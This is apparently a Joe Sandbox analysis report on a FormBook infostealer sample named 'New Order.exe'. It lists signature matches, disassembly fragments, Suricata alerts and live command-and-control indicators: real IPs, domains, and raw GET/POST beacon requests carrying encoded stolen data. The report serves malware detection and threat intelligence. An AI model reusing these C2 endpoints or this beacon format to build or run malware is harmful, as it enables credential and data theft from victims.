Windows Analysis Report
New Order.exe

AI detected suspicious sample

Source: Yara match	File source: 8.2.New Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.4629567782.0000000000950000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2489286072.00000000016B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4636187188.0000000005250000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4633862013.0000000002DB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4633798417.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2486160123.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2490425395.0000000002620000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4633944997.0000000002F00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: New Order.exe

Joe Sandbox ML: detected

Source: New Order.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: New Order.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: w32tm.pdb source: New Order.exe, 00000008.00000002.2488836600.0000000001367000.00000004.00000020.00020000.00000000.sdmp, XVZmwHdSYwx.exe, 0000000D.00000002.4633149087.0000000000928000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: XVZmwHdSYwx.exe, 0000000D.00000002.4632680489.000000000075E000.00000002.00000001.01000000.0000000C.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4628553874.000000000075E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: New Order.exe, 00000008.00000002.2489535674.00000000017D0000.00000040.00001000.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000003.2484890220.0000000003007000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4634316635.000000000350E000.00000040.00001000.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000003.2491039290.00000000031BB000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4634316635.0000000003370000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: New Order.exe, New Order.exe, 00000008.00000002.2489535674.00000000017D0000.00000040.00001000.00020000.00000000.sdmp, w32tm.exe, w32tm.exe, 0000000E.00000003.2484890220.0000000003007000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4634316635.000000000350E000.00000040.00001000.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000003.2491039290.00000000031BB000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4634316635.0000000003370000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: w32tm.pdbGCTL source: New Order.exe, 00000008.00000002.2488836600.0000000001367000.00000004.00000020.00020000.00000000.sdmp, XVZmwHdSYwx.exe, 0000000D.00000002.4633149087.0000000000928000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\w32tm.exe

Code function: 14_2_0096CE00 FindFirstFileW,FindNextFileW,FindClose,

14_2_0096CE00

Source: C:\Users\user\Desktop\New Order.exe	Code function: 4x nop then jmp 074A85DCh	1_2_074A86AC
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 4x nop then xor eax, eax	14_2_0095A020
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 4x nop then mov ebx, 00000004h	14_2_032804D8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49830 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49830 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49870 -> 154.90.35.240:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49889 -> 154.90.35.240:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49889 -> 154.90.35.240:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49928 -> 162.0.213.94:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49907 -> 162.0.213.94:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49928 -> 162.0.213.94:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49946 -> 68.66.226.92:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49993 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49922 -> 162.0.213.94:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49965 -> 68.66.226.92:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49965 -> 68.66.226.92:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50026 -> 130.185.109.77:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50044 -> 154.23.184.95:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49981 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50000 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50000 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50035 -> 172.104.82.74:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50034 -> 130.185.109.77:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50041 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50042 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50042 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50045 -> 154.23.184.95:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50049 -> 172.104.18.233:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50034 -> 130.185.109.77:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49960 -> 68.66.226.92:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50053 -> 173.236.199.97:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49883 -> 154.90.35.240:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49876 -> 154.90.35.240:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50052 -> 173.236.199.97:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50060 -> 154.70.82.246:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50020 -> 130.185.109.77:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49916 -> 162.0.213.94:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50061 -> 154.70.82.246:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50036 -> 172.104.82.74:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49987 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50048 -> 172.104.18.233:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50039 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50033 -> 130.185.109.77:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49953 -> 68.66.226.92:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50043 -> 154.23.184.95:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50055 -> 173.236.199.97:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50055 -> 173.236.199.97:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50047 -> 172.104.18.233:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50050 -> 172.104.18.233:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50054 -> 173.236.199.97:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50040 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50038 -> 172.104.82.74:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50038 -> 172.104.82.74:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50037 -> 172.104.82.74:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50046 -> 154.23.184.95:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50050 -> 172.104.18.233:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50057 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50046 -> 154.23.184.95:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50059 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50059 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50056 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50058 -> 85.159.66.93:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.aiactor.xyz
Source:	DNS query: www.aiactor.xyz

Source: Joe Sandbox View	IP Address: 130.185.109.77 130.185.109.77
Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48

Source: Joe Sandbox View	ASN Name: XIRRADE XIRRADE
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: ACPCA ACPCA

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ni8v/?u6nP_F48=E6dmM5lVsU5dMvoO4DByNQl1po9CAiKqwP/M9Lkf/Pz1vXYNvQEcepUiklJu8ucCjCBb2PxhMpGrlWRQjEXW3F39dXh33B934veeKulAqM3yo8/KKg/OIuvEV/M85G2BQAfVVnY=&F8S0G=ul80rPhxFlR8lH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.aiactor.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /k6jo/?u6nP_F48=g2gBEi9B+HDFGx1wG+72kN8Yj19AUdr4Nr1Jd72ZJlQgpbXPbifaD6lB1zmlmZG8AmkyaCU7LvK0zzlsdiU5EFaXnjyK5oQQkYGW08c3lB7eL51xgHFAptm5WP0FkXlczfO1jHA=&F8S0G=ul80rPhxFlR8lH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.jijievo.siteConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /odi0/?F8S0G=ul80rPhxFlR8lH&u6nP_F48=A+TCtTOt1m7L0JkN7P72xqDuM3MJ0JKhh3i5FsNa0NmBZ9+GiOsXSm+4Udvcs/rcS+RMYR73IEQXFVaqqwbxWOBmPh+KTHFpnfkytlUBUFCYYxG0fJp40sWrzXdCUwp6RCE3NBU= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.inspireto.lifeConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /ffyl/?u6nP_F48=E0w2q4MWRkFX7XJTCFHtBeMrFLWo0m25Rc1Iug5umE0SqvxIQJbSqlJsxR0jPeALC0qf+EILQRQVRMVyHOYHvE1WYG6fPKkQNyF776m1LEnS8hs9By21ThuVAZMLKVLgjh2k5HE=&F8S0G=ul80rPhxFlR8lH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.717hy.netConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /7a5n/?F8S0G=ul80rPhxFlR8lH&u6nP_F48=S6SHGGXXYwmAu16pai4DUvmkZVlUR2XiLpaLWC7pZkuSLECp9ozWQ9UIc1yk4ybjQU73M8zKwnu8ByEcz6/kZr88F4N+VuUzEk15V8/AegthLE/UMwpBwzbtc6DqGvxT1O3KEY4= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.bootleggersrt.onlineConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /q2b2/?u6nP_F48=k8LEnfe2wzSPKnd+4j+FHsRof8pP0SbHpdiozyXUU8wG1G+DI2HbB69btAHUx0UZtSY5up0HFKX7joYW5N4IdT0eHsdsbM4tAcjV6Y0GGqKWlvaVbVOKX21NPAfOVONObcqqhCU=&F8S0G=ul80rPhxFlR8lH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.lgdiamonds.infoConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /plyd/?F8S0G=ul80rPhxFlR8lH&u6nP_F48=dzHZVdeA6r6aBY+WJKlD1JvNcS8At/hTBiY50HAPZV2ofm/GZqXRfQPKYRVLRkTR3sVHjl53Bmiktifh36yAEsVj1orjw3l3xM5ELiir5eYKE6CYAoGwQn3hI9wO6DC6wMKZTnE= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.funnystory.onlineConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /n3sn/?u6nP_F48=RfKXbkttwVfKfWhPTrA3UJfHAa0lqotu1/Ih4u/jCz+IVopDYjbPUryKgNOP1Jh4fKEyHC4SaeJpkkGXoxNgwDh8y8hzLkYWybtZWLt0K3r82a9qd0enmdThBea8SuX4gW/lNzc=&F8S0G=ul80rPhxFlR8lH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.614genetics.onlineConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /tb3j/?F8S0G=ul80rPhxFlR8lH&u6nP_F48=KSHFFnYTGWj/ZMhm+avBOUk2TTzM3y8YS8Rf4LhuEMPHAxZPTsF4EjHc/8b3mL3nQQOBHU115ds5/08vb05btA7AesMNksIJY0axPJ9FedzLP3Na7bRMzIAWWfH5e2OB5R7SOhY= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.hm35s.topConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /7hhj/?u6nP_F48=d0CkvoX3wOjxIpsVGuv5CbpRWXdSS5jyTLOcAowQzGd7pP90T+NzeFPfjsupmGVcOHZBRLveV16iOhBmsp+LB4tn4np0Uy/CwiS3uOlrNEAyxbwQ0Bx5UgKfq4kfjh/tx9U3UfI=&F8S0G=ul80rPhxFlR8lH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.gravendeel.studioConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /z5bv/?u6nP_F48=cvqi6aS93HIxTV+im7Da9wWvrF3f6kX831gUtjTv5ZY+kxOTwbTgT7fbXvvVwY5eJbST1YhYPLKkRqd0ELEj3LZc91hb0mGUNuPi7mwbOhhaZQnJVaKvflcbWzyST/JxwAq3b9E=&F8S0G=ul80rPhxFlR8lH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.kvsj.netConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /8l49/?u6nP_F48=nvcb/0GPN54d2JGc++8p3dyReVT22F4rjpMi4BWXcGVVoAh+NvljRHAQbHtQixLLlmtkfcmDaBBvdXdVxLFdqzx8TquVI3FC1FmB8VJ2JKjVM5x76R9HEtDUYFAgHCOmYLPQQCg=&F8S0G=ul80rPhxFlR8lH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.beythome.onlineConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

Source: global traffic	DNS traffic detected: DNS query: www.aiactor.xyz
Source: global traffic	DNS traffic detected: DNS query: www.jijievo.site
Source: global traffic	DNS traffic detected: DNS query: www.inspireto.life
Source: global traffic	DNS traffic detected: DNS query: www.717hy.net
Source: global traffic	DNS traffic detected: DNS query: www.bootleggersrt.online
Source: global traffic	DNS traffic detected: DNS query: www.lgdiamonds.info
Source: global traffic	DNS traffic detected: DNS query: www.funnystory.online
Source: global traffic	DNS traffic detected: DNS query: www.614genetics.online
Source: global traffic	DNS traffic detected: DNS query: www.hm35s.top
Source: global traffic	DNS traffic detected: DNS query: www.gravendeel.studio
Source: global traffic	DNS traffic detected: DNS query: www.kvsj.net
Source: global traffic	DNS traffic detected: DNS query: www.beythome.online
Source: global traffic	DNS traffic detected: DNS query: www.theressome123ppl.info
Source: global traffic	DNS traffic detected: DNS query: www.conseilnsaftogo.org

Source: unknown

HTTP traffic detected: POST /k6jo/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.5Host: www.jijievo.siteContent-Length: 213Content-Type: application/x-www-form-urlencodedCache-Control: no-cacheConnection: closeOrigin: http://www.jijievo.siteReferer: http://www.jijievo.site/k6jo/User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30Data Raw: 75 36 6e 50 5f 46 34 38 3d 74 30 49 68 48 53 5a 72 32 33 48 57 4a 77 5a 78 42 2f 4c 6b 31 73 51 59 6d 46 34 34 42 65 69 38 62 61 52 7a 66 34 47 52 4f 6b 30 75 6a 38 66 32 58 31 2b 6f 44 72 5a 39 7a 69 57 30 6b 49 54 57 56 69 38 63 4b 43 6b 59 4f 66 57 65 32 7a 6c 61 55 78 73 42 61 7a 61 33 6a 30 43 69 2f 35 6b 4d 73 65 71 57 32 65 63 39 37 30 58 31 4e 6f 4a 48 75 57 46 66 74 37 65 45 61 4e 6b 53 6c 31 68 43 6b 4e 79 77 71 69 63 74 41 4b 39 70 35 30 63 30 6e 6f 49 73 63 32 38 71 68 52 2b 6e 63 59 48 5a 6b 6b 34 46 76 57 6e 41 4b 69 48 32 39 34 39 33 35 39 49 64 4b 70 2b 78 41 44 46 50 52 39 54 63 78 4f 6c 68 6c 70 47 43 71 53 42 4f Data Ascii: u6nP_F48=t0IhHSZr23HWJwZxB/Lk1sQYmF44Bei8baRzf4GROk0uj8f2X1+oDrZ9ziW0kITWVi8cKCkYOfWe2zlaUxsBaza3j0Ci/5kMseqW2ec970X1NoJHuWFft7eEaNkSl1hCkNywqictAK9p50c0noIsc28qhR+ncYHZkk4FvWnAKiH2949359IdKp+xADFPR9TcxOlhlpGCqSBO

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:39:05 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 